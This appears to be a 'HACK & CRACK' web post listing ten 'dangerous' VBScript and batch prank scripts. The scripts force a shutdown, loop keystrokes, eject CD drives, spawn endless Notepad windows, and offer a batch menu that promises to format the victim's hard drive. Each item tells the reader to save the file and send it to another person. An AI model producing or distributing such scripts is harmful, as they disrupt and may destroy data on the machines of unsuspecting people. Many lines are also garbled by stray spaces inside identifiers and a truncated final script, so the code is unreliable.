10 Dangerous VB-SCRIPTS

10 dangerous vbscripts:-
1) Convey a little message and shut down the computer:
Type :
@echo off
msg * I don't like you
shutdown -c "Error! You aretoo ******!" -s
Save it as
"Anything.BAT" inAll Files and send it.
2) Toggle the Caps Lock button simultaneously:
Type :
Set wshShell =wscript.Create Object("WScript .Shell")
do
wscript.sleep 100
wshshell.sendke ys"{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.
3) Continually pop out the CDDrive. If there are more thanone, it pops out all of them!
Type :
Set oWMP = CreateObject("W MPlayer.OCX.7")
Set colCDROMs = oWMP.cdromColle ction
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item( i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item( i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.
4) Frustrate someone by making this VBScript hit Enter simultaneously:
Type :
Set wshShell = wscript.CreateO bject("WScript. Shell")
do
wscript.sleep 100
wshshell.sendke ys"~(enter)"
loop
Save it as "Anything.VBS" and send it.
5) Open Notepad, slowly type "Hello, how are you? I am good thanks" after sometime of clicking the file and freak someone out:
Type :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateO bject("WScript. Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppAct ivate"Notepad"
WScript.Sleep 500
WshShell.SendKe ys "Hel"
WScript.Sleep 500
WshShell.SendKe ys "lo "
WScript.Sleep 500
WshShell.SendKe ys ", ho"
WScript.Sleep 500
WshShell.SendKe ys "w a"
WScript.Sleep 500
WshShell.SendKe ys "re "
WScript.Sleep 500
WshShell.SendKe ys "you"
WScript.Sleep 500
WshShell.SendKe ys "? "
WScript.Sleep 500
WshShell.SendKe ys "I a"
WScript.Sleep 500
WshShell.SendKe ys "m g"
WScript.Sleep 500
WshShell.SendKe ys "ood"
WScript.Sleep 500
WshShell.SendKe ys " th"
WScript.Sleep 500
WshShell.SendKe ys "ank"
WScript.Sleep 500
WshShell.SendKe ys "s! "
Save it as "Anything.VBS" and send it.
6) Frustrate someone by making this VBScript hit Backspace simultaneously:
Type :
MsgBox "Let's go back a fewsteps"
Set wshShell =wscript.Create Object("WScript .Shell")
do
wscript.sleep 100
wshshell.sendke ys "{bs}"
loop
Save it as "Anything.VBS" and send it.
7) Hack the keyboard and make it type "You are a fool" continuously:
Type :
Set wshShell = wscript.CreateO bject("WScript. Shell")
do
wscript.sleep 100
wshshell.sendke ys "You area fool."
loop
Save it as "Anything.VBS" and send it.
8. Open Notepad continually in your friend's computer:
Type :
@ECHO off
:top
START %SystemRoot%\sy stem32\notepad. exe
GOTO top
Save it as "Anything.BAT" and send it.
9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibilityfor your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
Save it as "Anything.BAT" and send it
by HACK & CRACK